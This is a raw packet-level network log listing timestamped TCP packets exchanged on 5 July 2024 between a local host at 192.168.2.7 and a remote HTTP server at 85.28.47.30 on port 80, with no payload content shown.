Jul 5, 2024 06:23:07.124154091 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124154091 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124155045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124166965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124178886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124190092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124193907 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124201059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124211073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124253035 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124303102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124314070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124324083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124332905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124351978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124355078 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124363899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124373913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124382973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124382973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124382973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124402046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124406099 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124413967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124424934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124435902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124435902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124450922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124450922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124464035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124506950 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124506950 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126454115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126463890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126482010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126491070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126502991 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126507998 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126533985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126544952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126557112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126562119 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126562119 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126570940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126614094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126614094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126646996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126658916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126668930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126678944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126692057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126702070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126702070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126708031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126718998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126729012 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126729965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126741886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126754045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126769066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126769066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126769066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126818895 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126818895 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126872063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126883030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126893044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126903057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126914978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126924992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126934052 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126938105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126949072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126960039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126967907 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126967907 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.126971006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126983881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126995087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.126997948 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.127007008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.127017975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.127024889 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.127029896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.127048969 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.127048969 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.127074957 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.200041056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.200088978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.200136900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.200148106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.200160027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.200174093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.200175047 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.200186014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.200202942 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.200218916 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.200229883 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.203641891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.203664064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.203675985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.203720093 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.203727007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.203727961 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.203741074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.203753948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.203764915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.203780890 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.203810930 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209126949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209201097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209270000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209280968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209283113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209296942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209331036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209347963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209363937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209383011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209394932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209407091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209424019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209453106 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209465027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209475994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209487915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209501028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209515095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209526062 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209526062 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209527969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209567070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209577084 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209577084 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209579945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209592104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209604025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209616899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209626913 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209626913 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209631920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209645033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.209655046 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209676981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.209745884 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.217659950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217670918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217681885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217714071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217726946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217736959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217742920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.217749119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217761040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217770100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.217770100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.217783928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.217813969 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.217875004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217886925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217902899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217914104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217924118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217936039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217955112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217955112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.217955112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.217966080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.217968941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217982054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.217989922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218000889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218004942 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218014002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218018055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218025923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218041897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218053102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218059063 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218059063 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218065977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218080044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218091011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218101025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218101978 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218101978 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218111992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218122005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218132973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218141079 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218144894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218157053 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218158960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218170881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218178034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218183994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218221903 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218221903 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218296051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218306065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218317986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218328953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218338966 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218343973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218357086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218359947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218369007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218378067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218380928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218394041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.218396902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218441963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.218441963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.220993996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221049070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221059084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221072912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221123934 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221148968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221162081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221167088 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221172094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221183062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221194029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221203089 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221203089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221215963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221225977 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221237898 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221260071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221292019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221309900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221326113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221334934 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221338987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221350908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221355915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221355915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221362114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221374035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221383095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221391916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221399069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221399069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221404076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221416950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221426964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221436977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221440077 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221440077 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221447945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221461058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221471071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221482038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221483946 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221493959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221504927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221504927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221504927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221534014 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221561909 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221625090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221636057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221645117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221656084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.221700907 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.221700907 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.294671059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.294682980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.294696093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.294713974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.294724941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.294734955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.294748068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.294755936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.294794083 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.297482014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.297493935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.297506094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.297554970 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.297554970 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.297878027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.297888994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.297902107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.297914982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.297924995 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.297955036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.297991037 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303287029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303297997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303309917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303354025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303365946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303376913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303384066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303389072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303400993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303402901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303430080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303430080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303430080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303441048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303452969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303463936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303477049 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303483009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303491116 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303497076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303509951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303520918 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303524971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303538084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303540945 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303550005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303561926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303571939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303577900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303585052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.303591967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303625107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.303625107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.311747074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.311788082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.311796904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.311800957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.311826944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.311849117 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.311988115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312005997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312016010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312026024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312037945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312047005 CEST	80	49699	85.28.47.30	192.168.2.7
